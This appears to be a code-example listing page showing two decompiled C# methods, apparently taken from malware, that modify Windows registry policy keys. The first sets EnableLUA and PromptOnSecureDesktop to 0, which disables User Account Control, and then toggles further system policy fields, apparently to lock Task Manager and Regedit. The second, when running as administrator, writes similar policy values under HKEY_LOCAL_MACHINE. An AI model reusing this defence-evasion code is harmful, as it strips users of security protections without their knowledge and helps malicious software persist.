Ejemplo n.º 1
0
        // Token: 0x060002EE RID: 750 RVA: 0x00013848 File Offset: 0x00011A48
        public static bool ToogleTaskMandRegedit(string regpath, int locker)
        {
            bool result;

            try
            {
                using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryControl.Regview))
                {
                    using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                    {
                        using (RegistryKey registryKey3 = registryKey2.CreateSubKey("System"))
                        {
                            registryKey3.SetValue("EnableLUA", 0, RegistryValueKind.DWord);
                            registryKey3.SetValue("PromptOnSecureDesktop", 0, RegistryValueKind.DWord);
                            try
                            {
                                foreach (string name in RegistryControl.FiledsSystem)
                                {
                                    try
                                    {
                                        registryKey3.SetValue(name, locker);
                                    }
                                    catch
                                    {
                                    }
                                }
                            }
                            catch (Exception)
                            {
                                return(false);
                            }
                            result = true;
                        }
                    }
                }
            }
            catch
            {
                result = false;
            }
            return(result);
        }
Ejemplo n.º 2
0
        // Token: 0x060002ED RID: 749 RVA: 0x0001377C File Offset: 0x0001197C
        public static bool ToogleUacAdmin(string regpath, int locker)
        {
            bool result;

            try
            {
                if (RunCheck.IsUserAdministrator())
                {
                    using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryControl.Regview))
                    {
                        using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                        {
                            try
                            {
                                foreach (string name in RegistryControl.FieldsLocal)
                                {
                                    try
                                    {
                                        registryKey2.SetValue(name, locker, RegistryValueKind.DWord);
                                    }
                                    catch
                                    {
                                    }
                                }
                            }
                            catch (Exception)
                            {
                                return(false);
                            }
                            return(true);
                        }
                    }
                }
                result = true;
            }
            catch (Exception)
            {
                result = false;
            }
            return(result);
        }